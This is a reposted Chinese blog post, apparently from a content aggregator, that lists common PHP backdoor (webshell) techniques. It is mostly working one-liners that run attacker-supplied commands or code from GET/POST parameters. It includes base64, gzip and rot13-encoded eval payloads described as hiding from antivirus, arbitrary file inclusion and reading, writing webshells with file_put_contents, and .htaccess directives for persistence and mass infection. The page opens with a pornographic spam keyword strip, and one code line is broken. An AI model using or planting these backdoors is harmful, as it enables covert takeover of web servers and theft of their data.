日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > php >内容正文

php

php命令执行后门,php后门木马常用命令

發(fā)布時(shí)間:2023/12/8 php 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php命令执行后门,php后门木马常用命令 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

php后門木馬對(duì)大家來說一點(diǎn)都不陌生吧,但是它的種類您又知多少呢?

php后門木馬常用的函數(shù)大致上可分為四種類型:

1. 執(zhí)行系統(tǒng)命令: system, passthru, shell_exec, exec, popen, proc_open

2. 代碼執(zhí)行與加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

3. 文件包含與生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

1. 執(zhí)行系統(tǒng)命令:

system 函數(shù)

//test.php?cmd=ls

system($_GET[cmd]);

passthru 函數(shù)

//test.php?cmd=ls

passthru($_GET[cmd]);

shell_exec 函數(shù)

//test.php?cmd=ls

echo shell_exec($_GET[cmd]);

exec 函數(shù)

//test.php?cmd=ls

$arr = array();

exec($_GET[cmd],$arr);

print_r($arr);

popen 函數(shù)

//test.php?cmd=ls

$handle = popen('$_GET[cmd], 'r');

$read = fread($handle, 2096);

echo $read;

pclose($handle);

proc_open 函數(shù)

//test.php?cmd=ls

$descriptorspec = array(

0 => array('pipe', 'r'),

1 => array('pipe', 'w'),

2 => array('pipe', 'w'),

);

$proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);

fclose($pipes[0]);

$output = array();

while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));

print_r($output);

2. 代碼執(zhí)行與加密:

eval 函數(shù)

//最常見的一句話木馬

eval($_POST[cmd]);

base64_decode 函數(shù)

//為了免殺及隱藏而加密代碼

//密文: eval($_POST['cmd']);

eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

gzinflate 函數(shù)

//為了免殺及隱藏而加密代碼

//密文: eval($_POST['cmd']);

eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

gzuncompress 函數(shù)

//為了免殺及隱藏而加密代碼

//密文: eval($_POST['cmd']);

eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

gzdecode 函數(shù)

//為了免殺及隱藏而加密代碼

//密文: eval($_POST['cmd']);

eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

str_rot13 函數(shù)

//為了免殺及隱藏而加密代碼

//密文: eval($_POST[cmd]);

eval(str_rot13('riny($_CBFG[pzq]);'));

assert 函數(shù)

//類似eval函數(shù)

assert($_POST[cmd]);

call_user_func 函數(shù)

//使用call_user_func調(diào)用assert

call_user_func('assert',$_POST[cmd]);

call_user_func 函數(shù)

//使用call_user_func調(diào)用任意函數(shù)

//test.php?a=assert&cmd=phpinfo()

call_user_func($_GET[a],$_REQUEST[cmd]);

組合代碼

//組合方式調(diào)用任意函數(shù)

//test.php?a=assert&cmd=phpinfo()

$_GET[a]($_REQUEST[cmd]);

3. 文件包含與生成:

require 函數(shù)

//包含任意文件

//test.php?file=123.jpg

require($_GET[file]);

require_once 函數(shù)

//包含任意文件

//test.php?file=123.jpg

require_once($_GET[file]);

include 函數(shù)

//包含任意文件

//test.php?file=123.jpg

include($_GET[file]);

include_once 函數(shù)

//包含任意文件

//test.php?file=123.jpg

include_once($_GET[file]);

file_get_contents 函數(shù)

//讀取任意文件

//test.php?f=config.inc.php

echo file_get_contents($_GET['f']);

file_put_contents 函數(shù)

//生成任意內(nèi)容文件

//a=test.php&b=<?php eval($_POST[cmd]);?>

file_put_contents($_GET[a],$_GET[b]);

fputs 函數(shù)

//生成任意內(nèi)容文件

//a=test.php&b=<?php eval($_POST[cmd]);?>

fputs(fopen($_GET[a],"w"),$_GET[b]);

4. .htaccess:

SetHandler

//可將php代碼存于非php后綴文件,例: x.jpg

//將以下代碼寫入.htaccess中

//連接x.jpg即可啟動(dòng)后門木馬

SetHandler application/x-httpd-php

auto_prepend_file

//可將php代碼存于非php后綴文件,例: 123.gif

//將以下代碼寫入.htaccess中, 文件路徑必須是絕對(duì)路徑

//訪問網(wǎng)站上任何php文件都會(huì)啟動(dòng)該php后門木馬

//可在不更改站點(diǎn)源代碼的情況下記錄所有$_REQUEST的值,也可批量掛馬

php_value auto_prepend_file c:/apache2/htdocs/123.gif

auto_append_file

//類似auto_prepend_file

//可將php代碼存于非php后綴文件,例: 123.gif

//將以下代碼寫入.htaccess中, 文件路徑必須是絕對(duì)路徑

//訪問網(wǎng)站上任何php文件都會(huì)啟動(dòng)該php后門木馬

php_value auto_append_file c:/apache2/htdocs/123.gif

總結(jié)

以上是生活随笔為你收集整理的php命令执行后门,php后门木马常用命令的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。